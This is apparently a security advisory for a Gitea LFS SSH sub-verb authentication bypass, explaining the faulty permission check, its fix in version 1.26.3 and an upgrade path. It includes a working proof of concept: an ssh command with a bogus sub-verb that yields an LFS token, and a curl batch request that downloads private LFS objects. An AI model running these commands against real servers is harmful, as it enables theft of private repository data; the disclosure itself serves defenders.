high · 7.7CVE-2026-58423Jul 21, 2026

CVE-2026-58423: Gitea LFS SSH Sub-Verb Authentication Bypass

Rohit Hatagale
AI Security Researcher, SecureLayer7

Any registered Gitea user can pass a nonsense word instead of 'upload' or 'download' over SSH to trick the server into handing out a valid LFS token for private repositories they have no access to.

Packagecode.gitea.io/gitea
Ecosystemgo
Affected>= 1.23.0, < 1.26.3
Fixed in1.26.3

The problem

In `cmd/serv.go`, `getAccessMode` switches on the LFS sub-verb (`upload`/`download`). An unrecognized sub-verb falls through to `return perm.AccessModeNone` (value `0`) without erroring.

In production mode, `AccessModeNone` is passed to the permission check in `routers/private/serv.go`. For private repos, the guard block is entered but the inner check `userMode < mode` becomes `userMode < 0`, which is always false. Access is granted and a valid LFS JWT token is returned with `Op: "badverb"`.

The HTTP LFS handler only validates `Op` for write operations (`claims.Op != "upload"`). Download paths skip `Op` validation entirely, so the attacker's token is accepted for all LFS read requests. Any SSH-enabled account on the instance can exfiltrate LFS objects from any private repository.

Proof of concept

A working proof-of-concept for CVE-2026-58423 in code.gitea.io/gitea, with the exact payload below.

bash
# Step 1: confirm normal access is denied
ssh git@gitea-instance "git-lfs-authenticate owner/private-repo.git download"
# -> "User: attacker is not authorized to read owner/private-repo."

# Step 2: trigger bypass with an arbitrary unknown sub-verb
ssh git@gitea-instance "git-lfs-authenticate owner/private-repo.git badverb"
# -> {"header":{"Authorization":"Bearer eyJ..."},"href":"https://gitea-instance/owner/private-repo.git/info/lfs"}

# Step 3: use the stolen token to batch-download LFS objects
curl -s -X POST "https://gitea-instance/owner/private-repo.git/info/lfs/objects/batch" \
  -H "Content-Type: application/vnd.git-lfs+json" \
  -H "Accept: application/vnd.git-lfs+json" \
  -H "Authorization: Bearer eyJ..." \
  -d '{"operation":"download","objects":[{"oid":"<object-oid>","size":<size>}]}'
# -> returns signed download URL for the private LFS object

The root cause is a missing error path. Before the fix, an unknown sub-verb silently returned `AccessModeNone` (integer `0`). The downstream permission check then evaluated `userMode < 0`, which can never be true for any valid user permission level, so the check was always bypassed.

The patch (PR #38008, commit `42513398`) replaces the `default` fall-through with a hard `fail()` call that terminates the request. Separately, the HTTP LFS token validator already skipped `Op` verification for downloads, making the bypass fully exploitable end-to-end once a token was issued.

This is CWE-287 (Improper Authentication): the server issued credentials without completing a real authorization decision.

The fix

Upgrade to Gitea 1.26.3 (prefer 1.26.4, which fixes an unrelated regression in 1.26.3). The fix is in PR #38008 / commit `42513398`: the `default` branch of the LFS sub-verb switch now calls `fail()`, returning an error to the client instead of `AccessModeNone`.

No configuration changes are required; the fix is purely in the permission-check code path.

Reported by Tomer-PL.

References: [1][2][3][4][5][6]

Related research